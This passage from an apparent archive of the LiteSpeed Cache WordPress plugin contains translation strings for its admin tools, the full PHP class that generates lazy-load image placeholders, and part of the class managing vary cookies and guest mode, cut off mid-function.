"" #: tpl/toolbox/purge.tpl.php:214 msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s." msgstr "" #: tpl/toolbox/purge.tpl.php:217 msgid "Purge pages by post ID." msgstr "" #: tpl/toolbox/purge.tpl.php:220 msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s." msgstr "" #: tpl/toolbox/purge.tpl.php:223 msgid "Purge pages by relative or full URL." msgstr "" #: tpl/toolbox/purge.tpl.php:224 msgid "e.g. Use %1$s or %2$s." msgstr "" #: tpl/toolbox/purge.tpl.php:234 msgid "Purge List" msgstr "" #: tpl/toolbox/report.tpl.php:38 msgid "Send to LiteSpeed" msgstr "" #: tpl/toolbox/report.tpl.php:40 msgid "Regenerate and Send a New Report" msgstr "" #: tpl/toolbox/report.tpl.php:48 msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s." msgstr "" #: tpl/toolbox/report.tpl.php:51 msgid "Install DoLogin Security" msgstr "" #: tpl/toolbox/report.tpl.php:52 msgid "Go to plugins list" msgstr "" #: tpl/toolbox/report.tpl.php:58 msgid "LiteSpeed Report" msgstr "" #: tpl/toolbox/report.tpl.php:62 msgid "Last Report Number" msgstr "" #: tpl/toolbox/report.tpl.php:63 msgid "Last Report Date" msgstr "" #: tpl/toolbox/report.tpl.php:66 msgid "The environment report contains detailed information about the WordPress configuration." msgstr "" #: tpl/toolbox/report.tpl.php:68 msgid "If you run into any issues, please refer to the report number in your support message." msgstr "" #: tpl/toolbox/report.tpl.php:75 msgid "System Information" msgstr "" #: tpl/toolbox/report.tpl.php:87 msgid "Attach PHP info to report. Check this box to insert relevant data from %s." msgstr "" #: tpl/toolbox/report.tpl.php:96 msgid "Passwordless Link" msgstr "" #: tpl/toolbox/report.tpl.php:100 #: tpl/toolbox/report.tpl.php:102 msgid "Generate Link for Current User" msgstr "" #: tpl/toolbox/report.tpl.php:105 msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report." msgstr "" #: tpl/toolbox/report.tpl.php:107 msgid "Please do NOT share the above passwordless link with anyone." msgstr "" #. translators: %s: Link tags #: tpl/toolbox/report.tpl.php:112 msgid "Generated links may be managed under %sSettings%s." msgstr "" #: tpl/toolbox/report.tpl.php:122 msgid "Notes" msgstr "" #: tpl/toolbox/report.tpl.php:126 msgid "Optional" msgstr "" #: tpl/toolbox/report.tpl.php:127 msgid "provide more information here to assist the LiteSpeed team with debugging." msgstr "" #: tpl/toolbox/report.tpl.php:139 msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:19 msgid "Debug Helpers" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:23 msgid "View Site Before Optimization" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:27 msgid "View Site Before Cache" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:37 msgid "Disable All Features for 24 Hours" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:44 msgid "Remove `Disable All Feature` Flag Now" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:48 msgid "LiteSpeed Cache is temporarily disabled until: %s." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:69 msgid "This will disable LSCache and all optimization features for debug purpose." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:80 msgid "Admin IP Only" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:82 msgid "Outputs to a series of files in the %s directory." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:83 msgid "To prevent filling up the disk, this setting should be OFF when everything is working." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:84 msgid "The Admin IP option will only output log messages on requests from admin IPs listed below." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:97 msgid "Allows listed IPs (one per line) to perform certain actions from their browsers." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:98 msgid "Your IP" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:104 msgid "More information about the available commands can be found here." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:119 msgid "Advanced level will log more details." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:130 msgid "MB" msgstr "" #: tpl/toolbox/settings-debug.tpl.php:132 msgid "Specify the maximum size of the log file." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:147 msgid "Shorten query strings in the debug log to improve readability." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:160 msgid "Only log listed pages." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:174 msgid "Prevent any debug log of listed pages." msgstr "" #: tpl/toolbox/settings-debug.tpl.php:188 msgid "Prevent writing log entries that include listed strings." msgstr "" ������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/placeholder.cls.php�����������������������������������������������������0000644�����������������00000043666�15233526476�0015642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The Placeholder class. * * Handles responsive placeholders (LQIP), admin column rendering, * queueing, and generation logic (local and cloud). * * @since 3.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Placeholder */ class Placeholder extends Base { /** * Action type: generate. * * @var string */ const TYPE_GENERATE = 'generate'; /** * Action type: clear queue. * * @var string */ const TYPE_CLEAR_Q = 'clear_q'; /** * Whether responsive placeholders are enabled. * * @var bool */ private $_conf_placeholder_resp; /** * SVG template for responsive placeholders. * * @var string */ private $_conf_placeholder_resp_svg; /** * Whether LQIP generation via cloud is enabled. * * @var bool */ private $_conf_lqip; /** * LQIP JPEG quality. * * @var int */ private $_conf_lqip_qual; /** * Minimum width for LQIP generation. * * @var int */ private $_conf_lqip_min_w; /** * Minimum height for LQIP generation. * * @var int */ private $_conf_lqip_min_h; /** * Background color for SVG placeholders. * * @var string */ private $_conf_placeholder_resp_color; /** * Whether LQIP generation is async (queued). * * @var bool */ private $_conf_placeholder_resp_async; /** * Default placeholder data (fallback). * * @var string */ private $_conf_ph_default; /** * In-memory map of generated placeholders for current request. * * @var array<string,string> */ private $_placeholder_resp_dict = []; /** * Keys currently queued within this request. * * @var array<int,string> */ private $_ph_queue = []; /** * Stats & request summary for throttling. * * @var array<string,mixed> */ protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $this->_conf_placeholder_resp = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( self::O_MEDIA_PLACEHOLDER_RESP ); $this->_conf_placeholder_resp_svg = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_SVG ); $this->_conf_lqip = ! defined( 'LITESPEED_GUEST_OPTM' ) && $this->conf( self::O_MEDIA_LQIP ); $this->_conf_lqip_qual = $this->conf( self::O_MEDIA_LQIP_QUAL ); $this->_conf_lqip_min_w = $this->conf( self::O_MEDIA_LQIP_MIN_W ); $this->_conf_lqip_min_h = $this->conf( self::O_MEDIA_LQIP_MIN_H ); $this->_conf_placeholder_resp_async = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_ASYNC ); $this->_conf_placeholder_resp_color = $this->conf( self::O_MEDIA_PLACEHOLDER_RESP_COLOR ); $this->_conf_ph_default = $this->conf(self::O_MEDIA_LAZY_PLACEHOLDER) ? $this->conf(self::O_MEDIA_LAZY_PLACEHOLDER) : LITESPEED_PLACEHOLDER; $this->_summary = self::get_summary(); } /** * Init Placeholder. */ public function init() { Debug2::debug2( '[LQIP] init' ); add_action( 'litespeed_after_admin_init', [ $this, 'after_admin_init' ] ); } /** * Display column in Media. * * @since 3.0 * @access public */ public function after_admin_init() { if ( $this->_conf_lqip ) { add_filter( 'manage_media_columns', [ $this, 'media_row_title' ] ); add_filter( 'manage_media_custom_column', [ $this, 'media_row_actions' ], 10, 2 ); add_action( 'litespeed_media_row_lqip', [ $this, 'media_row_con' ] ); } } /** * Media Admin Menu -> LQIP column header. * * @since 3.0 * @param array<string,string> $posts_columns Columns. * @return array<string,string> */ public function media_row_title( $posts_columns ) { $posts_columns['lqip'] = __( 'LQIP', 'litespeed-cache' ); return $posts_columns; } /** * Media Admin Menu -> LQIP Column renderer trigger. * * @since 3.0 * @param string $column_name Column name. * @param int $post_id Attachment ID. * @return void */ public function media_row_actions( $column_name, $post_id ) { if ( 'lqip' !== $column_name ) { return; } do_action( 'litespeed_media_row_lqip', $post_id ); } /** * Display LQIP column. * * @since 3.0 * @param int $post_id Attachment ID. * @return void */ public function media_row_con( $post_id ) { $meta_value = wp_get_attachment_metadata( $post_id ); if ( empty( $meta_value['file'] ) ) { return; } $total_files = 0; // List all sizes. $all_sizes = [ $meta_value['file'] ]; $size_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; if ( ! empty( $meta_value['sizes'] ) && is_array( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $v ) { if ( ! empty( $v['file'] ) ) { $all_sizes[] = $size_path . $v['file']; } } } foreach ( $all_sizes as $short_path ) { $lqip_folder = LITESPEED_STATIC_DIR . '/lqip/' . $short_path; if ( is_dir( $lqip_folder ) ) { Debug2::debug( '[LQIP] Found folder: ' . $short_path ); // List all files. foreach ( scandir( $lqip_folder ) as $v ) { if ( '.' === $v || '..' === $v ) { continue; } if ( 0 === $total_files ) { $file = Str::trim_quotes( File::read( $lqip_folder . '/' . $v ) ); echo '<div class="litespeed-media-lqip"><img src="' . esc_attr( $file ) . '" alt="' . esc_attr( sprintf( __( 'LQIP image preview for size %s', 'litespeed-cache' ), $v ) ) . '"></div>'; } echo '<div class="litespeed-media-size"><a href="' . esc_attr( $file ) . '" target="_blank">' . esc_html( $v ) . '</a></div>'; ++$total_files; } } } if ( 0 === $total_files ) { echo '—'; } } /** * Replace image HTML with placeholder-based lazy version. * * @since 3.0 * @param string $html Original <img> HTML. * @param string $src Image source URL. * @param string $size Requested size (e.g. "300x200"). * @return string Modified HTML. */ public function replace( $html, $src, $size ) { // Check if need to enable responsive placeholder or not. $ph_candidate = $this->_placeholder( $src, $size ); $this_placeholder = $ph_candidate ? $ph_candidate : $this->_conf_ph_default; $additional_attr = ''; if ( $this->_conf_lqip && $this_placeholder !== $this->_conf_ph_default ) { Debug2::debug2( '[LQIP] Use resp LQIP [size] ' . $size ); $additional_attr = ' data-placeholder-resp="' . esc_attr( Str::trim_quotes( $size ) ) . '"'; } $snippet = ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( self::O_OPTM_NOSCRIPT_RM ) ) ? '' : '<noscript>' . $html . '</noscript>'; $html = preg_replace( [ '/\s+src=/i', '/\s+srcset=/i', '/\s+sizes=/i', ], [ ' data-src=', ' data-srcset=', ' data-sizes=', ], $html ); $html = preg_replace( '/<img\s+/i', '<img data-lazyloaded="1"' . $additional_attr . ' src="' . Str::trim_quotes($this_placeholder) . '" ', $html ); // $html = str_replace( array( ' src=', ' srcset=', ' sizes=' ), array( ' data-src=', ' data-srcset=', ' data-sizes=' ), $html ); // $html = str_replace( '<img ', '<img data-lazyloaded="1"' . $additional_attr . ' src="' . esc_url( Str::trim_quotes( $this_placeholder ) ) . '" ', $html ); $snippet = $html . $snippet; return $snippet; } /** * Generate responsive placeholder (or schedule generation). * * @since 2.5.1 * @access private * @param string $src Image source URL. * @param string $size Size string "WIDTHxHEIGHT". * @return string|false Data URL placeholder or false. */ private function _placeholder( $src, $size ) { // Low Quality Image Placeholders. if ( ! $size ) { Debug2::debug2( '[LQIP] no size ' . $src ); return false; } if ( ! $this->_conf_placeholder_resp ) { return false; } // If use local generator. if ( ! $this->_conf_lqip || ! $this->_lqip_size_check( $size ) ) { return $this->_generate_placeholder_locally( $size ); } Debug2::debug2( '[LQIP] Resp LQIP process [src] ' . $src . ' [size] ' . $size ); $arr_key = $size . ' ' . $src; // Check if its already in dict or not. if ( ! empty( $this->_placeholder_resp_dict[ $arr_key ] ) ) { Debug2::debug2( '[LQIP] already in dict' ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Need to generate the responsive placeholder. $placeholder_realpath = $this->_placeholder_realpath( $src, $size ); // todo: give offload API. if ( file_exists( $placeholder_realpath ) ) { Debug2::debug2( '[LQIP] file exists' ); $this->_placeholder_resp_dict[ $arr_key ] = File::read( $placeholder_realpath ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Prevent repeated requests in same request. if ( in_array( $arr_key, $this->_ph_queue, true ) ) { Debug2::debug2( '[LQIP] file bypass generating due to in queue' ); return $this->_generate_placeholder_locally( $size ); } $hit = Utility::str_hit_array( $src, $this->conf( self::O_MEDIA_LQIP_EXC ) ); if ( $hit ) { Debug2::debug2( '[LQIP] file bypass generating due to exclude setting [hit] ' . $hit ); return $this->_generate_placeholder_locally( $size ); } $this->_ph_queue[] = $arr_key; // Send request to generate placeholder. if ( ! $this->_conf_placeholder_resp_async ) { // If requested recently, bypass. if ( $this->_summary && ! empty( $this->_summary['curr_request'] ) && ( time() - (int) $this->_summary['curr_request'] ) < 300 ) { Debug2::debug2( '[LQIP] file bypass generating due to interval limit' ); return false; } // Generate immediately. $this->_placeholder_resp_dict[ $arr_key ] = $this->_generate_placeholder( $arr_key ); return $this->_placeholder_resp_dict[ $arr_key ]; } // Prepare default svg placeholder as tmp placeholder. $tmp_placeholder = $this->_generate_placeholder_locally( $size ); // Store it to prepare for cron. $queue = $this->load_queue( 'lqip' ); if ( in_array( $arr_key, $queue, true ) ) { Debug2::debug2( '[LQIP] already in queue' ); return $tmp_placeholder; } if ( count( $queue ) > 500 ) { Debug2::debug2( '[LQIP] queue is full' ); return $tmp_placeholder; } $queue[] = $arr_key; $this->save_queue( 'lqip', $queue ); Debug2::debug( '[LQIP] Added placeholder queue' ); return $tmp_placeholder; } /** * Generate realpath of placeholder file. * * @since 2.5.1 * @access private * @param string $src Image source URL. * @param string $size Size string "WIDTHxHEIGHT". * @return string Absolute file path. */ private function _placeholder_realpath( $src, $size ) { // Use LQIP Cloud generator, each image placeholder will be separately stored. // Compatibility with WebP and AVIF. $src = Utility::drop_webp( $src ); $filepath_prefix = $this->_build_filepath_prefix( 'lqip' ); // External images will use cache folder directly. $domain = wp_parse_url( $src, PHP_URL_HOST ); if ( $domain && ! Utility::internal( $domain ) ) { // todo: need to improve `util:internal()` to include `CDN::internal()` $md5 = md5($src); return LITESPEED_STATIC_DIR . $filepath_prefix . 'remote/' . substr( $md5, 0, 1 ) . '/' . substr( $md5, 1, 1 ) . '/' . $md5 . '.' . $size; } // Drop domain. $short_path = Utility::att_short_path( $src ); return LITESPEED_STATIC_DIR . $filepath_prefix . $short_path . '/' . $size; } /** * Cron placeholder generation. * * @since 2.5.1 * @param bool $do_continue If true, process full queue in one run. * @return void */ public static function cron( $do_continue = false ) { $_instance = self::cls(); $queue = $_instance->load_queue( 'lqip' ); if ( empty( $queue ) ) { return; } // For cron, need to check request interval too. if ( ! $do_continue ) { if ( ! empty( $_instance->_summary['curr_request'] ) && ( time() - (int) $_instance->_summary['curr_request'] ) < 300 ) { Debug2::debug( '[LQIP] Last request not done' ); return; } } foreach ( $queue as $v ) { Debug2::debug( '[LQIP] cron job [size] ' . $v ); $res = $_instance->_generate_placeholder( $v, true ); // Exit queue if out of quota. if ( 'out_of_quota' === $res ) { return; } // Only request first one unless continuing. if ( ! $do_continue ) { return; } } } /** * Generate placeholder locally (SVG). * * @since 3.0 * @access private * @param string $size Size string "WIDTHxHEIGHT". * @return string Data URL for SVG placeholder. */ private function _generate_placeholder_locally( $size ) { Debug2::debug2( '[LQIP] _generate_placeholder local [size] ' . $size ); $size = explode( 'x', $size ); $svg = str_replace( [ '{width}', '{height}', '{color}' ], [ (int) $size[0], (int) $size[1], $this->_conf_placeholder_resp_color ], $this->_conf_placeholder_resp_svg ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode return 'data:image/svg+xml;base64,' . base64_encode( $svg ); } /** * Send to LiteSpeed API to generate placeholder (and persist). * * @since 2.5.1 * @access private * @param string $raw_size_and_src Concatenated "SIZE SRC". * @param bool $from_cron If true, called from cron context. * @return string Data URL placeholder. */ private function _generate_placeholder( $raw_size_and_src, $from_cron = false ) { // Parse containing size and src info. $size_and_src = explode( ' ', $raw_size_and_src, 2 ); $size = $size_and_src[0]; if ( empty( $size_and_src[1] ) ) { $this->_popup_and_save( $raw_size_and_src ); Debug2::debug( '[LQIP] ❌ No src [raw] ' . $raw_size_and_src ); return $this->_generate_placeholder_locally( $size ); } $src = $size_and_src[1]; $file = $this->_placeholder_realpath( $src, $size ); // Local generate SVG to serve (repeated here to clear queue if settings changed). if ( ! $this->_conf_lqip || ! $this->_lqip_size_check( $size ) ) { $data = $this->_generate_placeholder_locally( $size ); } else { $err = false; $allowance = Cloud::cls()->allowance( Cloud::SVC_LQIP, $err ); if ( ! $allowance ) { Debug2::debug( '[LQIP] ❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); if ( $from_cron ) { return 'out_of_quota'; } return $this->_generate_placeholder_locally( $size ); } // Generate LQIP. list( $width, $height ) = explode( 'x', $size ); $req_data = [ 'width' => (int) $width, 'height' => (int) $height, 'url' => Utility::drop_webp( $src ), 'quality' => (int) $this->_conf_lqip_qual, ]; // Check if the image is 404 first. if ( File::is_404( $req_data['url'] ) ) { $this->_popup_and_save( $raw_size_and_src, true ); $this->_append_exc( $src ); Debug2::debug( '[LQIP] 404 before request [src] ' . $req_data['url'] ); return $this->_generate_placeholder_locally( $size ); } // Update request status. $this->_summary['curr_request'] = time(); self::save_summary(); $json = Cloud::post( Cloud::SVC_LQIP, $req_data, 120 ); if ( ! is_array( $json ) ) { return $this->_generate_placeholder_locally( $size ); } if ( empty( $json['lqip'] ) || 0 !== strpos( $json['lqip'], 'data:image/svg+xml' ) ) { // Image error, pop up the current queue. $this->_popup_and_save( $raw_size_and_src, true ); $this->_append_exc( $src ); Debug2::debug( '[LQIP] wrong response format', $json ); return $this->_generate_placeholder_locally( $size ); } $data = $json['lqip']; Debug2::debug( '[LQIP] _generate_placeholder LQIP' ); } // Write to file. File::save( $file, $data, true ); // Save summary data. $this->_summary['last_spent'] = time() - (int) $this->_summary['curr_request']; $this->_summary['last_request'] = $this->_summary['curr_request']; $this->_summary['curr_request'] = 0; self::save_summary(); $this->_popup_and_save( $raw_size_and_src ); Debug2::debug( '[LQIP] saved LQIP ' . $file ); return $data; } /** * Check if the size is valid to send LQIP request or not. * * @since 3.0 * @param string $size Size string "WIDTHxHEIGHT". * @return bool True if meets minimums. */ private function _lqip_size_check( $size ) { $size = explode( 'x', $size ); if ( ( (int) $size[0] >= (int) $this->_conf_lqip_min_w ) || ( (int) $size[1] >= (int) $this->_conf_lqip_min_h ) ) { return true; } Debug2::debug2( '[LQIP] Size too small' ); return false; } /** * Add to LQIP exclude list. * * @since 3.4 * @param string $src Image URL. * @return void */ private function _append_exc( $src ) { $val = $this->conf( self::O_MEDIA_LQIP_EXC ); $val[] = $src; $this->cls( 'Conf' )->update( self::O_MEDIA_LQIP_EXC, $val ); Debug2::debug( '[LQIP] Appended to LQIP Excludes [URL] ' . $src ); } /** * Pop up the current request from queue and save. * * @since 3.0 * @param string $raw_size_and_src Concatenated "SIZE SRC". * @param bool $append_to_exc If true, also add to exclusion list. * @return void */ private function _popup_and_save( $raw_size_and_src, $append_to_exc = false ) { $queue = $this->load_queue( 'lqip' ); if ( ! empty( $queue ) && in_array( $raw_size_and_src, $queue, true ) ) { $idx = array_search( $raw_size_and_src, $queue, true ); if ( false !== $idx ) { unset( $queue[ $idx ] ); } } if ( $append_to_exc ) { $size_and_src = explode( ' ', $raw_size_and_src, 2 ); if (isset( $size_and_src[1] ) && $size_and_src[1]) { $this_src = $size_and_src[1]; // Append to lqip exc setting first. $this->_append_exc( $this_src ); // Check if other queues contain this src or not. if ( $queue ) { foreach ( $queue as $k => $raw_item ) { $parsed = explode( ' ', $raw_item, 2 ); if ( empty( $parsed[1] ) ) { continue; } if ( $parsed[1] === $this_src ) { unset( $queue[ $k ] ); } } } } } $this->save_queue( 'lqip', $queue ); } /** * Handle all request actions from main cls. * * @since 2.5.1 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GENERATE: self::cron( true ); break; case self::TYPE_CLEAR_Q: $this->clear_q( 'lqip' ); break; default: break; } Admin::redirect(); } } ��������������������������������������������������������������������������plugins/litespeed-cache/src/vary.cls.php������������������������������������������������������������0000644�����������������00000052522�15233526476�0014330 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Manage the X-LiteSpeed-Vary behavior and vary cookie. * * @since 1.1.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Handles detection of user state (guest, logged-in, commenter, etc.) * and builds the X-LiteSpeed-Vary header and vary cookie accordingly. */ class Vary extends Root { /** * Log tag used in debug output. * * @var string */ const LOG_TAG = '🔱'; /** * Vary header name. * * @var string */ const X_HEADER = 'X-LiteSpeed-Vary'; /** * Default vary cookie name (used for logged-in/commenter state). * * @var string */ private static $_vary_name = '_lscache_vary'; /** * Whether Ajax calls are permitted to change the vary cookie. * * @var bool */ private static $_can_change_vary = false; /** * Update the default vary cookie name if site settings require it. * * @since 4.0 * @since 7.0 Moved to after_user_init to allow ESI no-vary no conflict. * @return void */ private function _update_vary_name() { $db_cookie = $this->conf( Base::O_CACHE_LOGIN_COOKIE ); // network aware in v3.0. // If no vary set in rewrite rule. if ( ! isset( $_SERVER['LSCACHE_VARY_COOKIE'] ) ) { if ( $db_cookie ) { // Check for ESI no-vary control. $something_wrong = true; if ( ! empty( $_GET[ ESI::QS_ACTION ] ) && ! empty( $_GET['_control'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $control_raw = wp_unslash( (string) $_GET['_control'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $control = array_map( 'sanitize_text_field', explode( ',', $control_raw ) ); if ( in_array( 'no-vary', $control, true ) ) { self::debug( 'no-vary control existed, bypass vary_name update' ); $something_wrong = false; self::$_vary_name = $db_cookie; } } if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { $something_wrong = false; } if ( $something_wrong ) { // Display cookie error msg to admin. if ( is_multisite() ? is_network_admin() : is_admin() ) { Admin_Display::show_error_cookie(); } Control::set_nocache( '❌❌ vary cookie setting error' ); } } return; } // DB setting does not exist – nothing to check. if ( ! $db_cookie ) { return; } // Beyond this point, ensure DB vary is present in $_SERVER env. $server_raw = wp_unslash( (string) $_SERVER['LSCACHE_VARY_COOKIE'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $vary_arr = array_map( 'trim', explode( ',', $server_raw ) ); if ( in_array( $db_cookie, $vary_arr, true ) ) { self::$_vary_name = $db_cookie; return; } if ( is_multisite() ? is_network_admin() : is_admin() ) { Admin_Display::show_error_cookie(); } Control::set_nocache( 'vary cookie setting lost error' ); } /** * Run after user init to set up vary/caching for current request. * * @since 4.0 * @return void */ public function after_user_init() { $this->_update_vary_name(); // Logged-in user. if ( Router::is_logged_in() ) { // If not ESI, check cache logged-in user setting. if ( ! $this->cls( 'Router' )->esi_enabled() ) { // Cache logged-in => private cache. if ( $this->conf( Base::O_CACHE_PRIV ) && ! is_admin() ) { add_action( 'wp_logout', __NAMESPACE__ . '\Purge::purge_on_logout' ); $this->cls( 'Control' )->init_cacheable(); Control::set_private( 'logged in user' ); } else { // No cache for logged-in user. Control::set_nocache( 'logged in user' ); } } elseif ( ! is_admin() ) { // ESI is on; can be public cache, but ensure cacheable is initialized. $this->cls( 'Control' )->init_cacheable(); } // Clear login state on logout. add_action( 'clear_auth_cookie', [ $this, 'remove_logged_in' ] ); } else { // Only after vary init we can detect guest mode. $this->_maybe_guest_mode(); // Set vary cookie when user logs in (to avoid guest vary). add_action( 'set_logged_in_cookie', [ $this, 'add_logged_in' ], 10, 4 ); add_action( 'wp_login', __NAMESPACE__ . '\Purge::purge_on_logout' ); $this->cls( 'Control' )->init_cacheable(); // Check login-page cacheable setting — login page doesn't go through main WP logic. add_action( 'login_init', [ $this->cls( 'Tag' ), 'check_login_cacheable' ], 5 ); // Optional lightweight guest vary updater. if ( ! empty( $_GET['litespeed_guest'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended add_action( 'wp_loaded', [ $this, 'update_guest_vary' ], 20 ); } } // Commenter checks. add_filter( 'comments_array', [ $this, 'check_commenter' ] ); // Set vary cookie for commenter. add_action( 'set_comment_cookies', [ $this, 'append_commenter' ] ); // REST: don't change vary because they don't carry on user info usually. add_action( 'rest_api_init', function () { self::debug( 'Rest API init disabled vary change' ); add_filter( 'litespeed_can_change_vary', '__return_false' ); } ); } /** * Mark request as Guest mode when applicable. * * @since 4.0 * @return void */ private function _maybe_guest_mode() { if ( defined( 'LITESPEED_GUEST' ) ) { self::debug( '👒👒 Guest mode ' . ( LITESPEED_GUEST ? 'predefined' : 'turned off' ) ); return; } if ( ! $this->conf( Base::O_GUEST ) ) { return; } // If vary is set, then not a guest. if ( self::has_vary() ) { return; } // Admin QS present? not a guest. if ( ! empty( $_GET[ Router::ACTION ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } if ( wp_doing_ajax() ) { return; } if ( wp_doing_cron() ) { return; } // Request to update vary? not a guest. if ( ! empty( $_GET['litespeed_guest'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } // User explicitly turned guest off. if ( ! empty( $_GET['litespeed_guest_off'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } self::debug( '👒👒 Guest mode' ); ! defined( 'LITESPEED_GUEST' ) && define( 'LITESPEED_GUEST', true ); if ( $this->conf( Base::O_GUEST_OPTM ) ) { ! defined( 'LITESPEED_GUEST_OPTM' ) && define( 'LITESPEED_GUEST_OPTM', true ); } } /** * Update Guest vary * * @since 4.0 * @deprecated 4.1 Use independent lightweight guest.vary.php instead. * @return void */ public function update_guest_vary() { // Must not be cached. ! defined( 'LSCACHE_NO_CACHE' ) && define( 'LSCACHE_NO_CACHE', true ); $_guest = new Lib\Guest(); if ( $_guest->always_guest() || self::has_vary() ) { // If contains vary already, don't reload (avoid loops). ! defined( 'LITESPEED_GUEST' ) && define( 'LITESPEED_GUEST', true ); self::debug( '🤠🤠 Guest' ); echo '[]'; exit; } self::debug( 'Will update guest vary in finalize' ); // Return JSON to trigger reload. echo wp_json_encode( [ 'reload' => 'yes' ] ); exit; } /** * Filter callback on `comments_array` to mark commenter state. * * @since 1.0.4 * * @param array $comments The comments to output. * @return array Filtered comments. */ public function check_commenter( $comments ) { /** * Allow bypassing pending comment check for comment plugins. * * @since 2.9.5 */ if ( apply_filters( 'litespeed_vary_check_commenter_pending', true ) ) { $pending = false; foreach ( $comments as $comment ) { if ( ! $comment->comment_approved ) { $pending = true; break; } } // No pending comments => ensure public cache state. if ( ! $pending ) { self::debug( 'No pending comment' ); $this->remove_commenter(); // Remove commenter prefilled info for public cache. foreach ( $_COOKIE as $cookie_name => $cookie_value ) { if ( strlen( $cookie_name ) >= 15 && 0 === strpos( $cookie_name, 'comment_author_' ) ) { unset( $_COOKIE[ $cookie_name ] ); } } return $comments; } } // Pending comments present — set commenter vary. $this->add_commenter(); if ( $this->conf( Base::O_CACHE_COMMENTER ) ) { Control::set_private( 'existing commenter' ); } else { Control::set_nocache( 'existing commenter' ); } return $comments; } /** * Check if default vary has a value * * @since 1.1.3 * * @return false|string Cookie value or false if missing. */ public static function has_vary() { if ( empty( $_COOKIE[ self::$_vary_name ] ) ) { return false; } // Cookie values are not user-displayed; unslash only. return wp_unslash( (string) $_COOKIE[ self::$_vary_name ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } /** * Append user status with logged-in. * * @since 1.1.3 * @since 1.6.2 Removed static referral. * * @param string|false $logged_in_cookie The logged-in cookie value. * @param int|false $expire Expiration timestamp. * @param int|false $expiration Unused (WordPress signature). * @param int|false $uid User ID. * @return void */ public function add_logged_in( $logged_in_cookie = false, $expire = false, $expiration = false, $uid = false ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed self::debug( 'add_logged_in' ); // Allow Ajax vary change during login flow. // NOTE: Run before `$this->_update_default_vary()` to make vary changeable self::can_ajax_vary(); // Ensure vary cookie exists/updated. $this->_update_default_vary( $uid, $expire ); } /** * Remove user logged-in status. * * @since 1.1.3 * @since 1.6.2 Removed static referral. * @return void */ public function remove_logged_in() { self::debug( 'remove_logged_in' ); // Allow Ajax vary change during logout flow. self::can_ajax_vary(); // Force update vary to remove login status. $this->_update_default_vary( -1 ); } /** * Allow vary to be changed for Ajax calls. * * @since 2.2.2 * @since 2.6 Changed to static. * @return void */ public static function can_ajax_vary() { self::debug( '_can_change_vary -> true' ); self::$_can_change_vary = true; } /** * Whether we can change the default vary right now. * * @since 1.6.2 * @return bool */ private function can_change_vary() { // Don't change on Ajax unless explicitly allowed (no webp header). if ( Router::is_ajax() && ! self::$_can_change_vary ) { self::debug( 'can_change_vary bypassed due to ajax call' ); return false; } // Allow only GET/POST. // POST request can set vary to fix #820789 login "loop" guest cache issue. if ( isset( $_SERVER['REQUEST_METHOD'] ) && 'GET' !== $_SERVER['REQUEST_METHOD'] && 'POST' !== $_SERVER['REQUEST_METHOD'] ) { self::debug( 'can_change_vary bypassed due to method not get/post' ); return false; } // Disable when crawler is making the request. if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) && 0 === strpos( wp_unslash( (string) $_SERVER['HTTP_USER_AGENT'] ), Crawler::FAST_USER_AGENT ) // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ) { 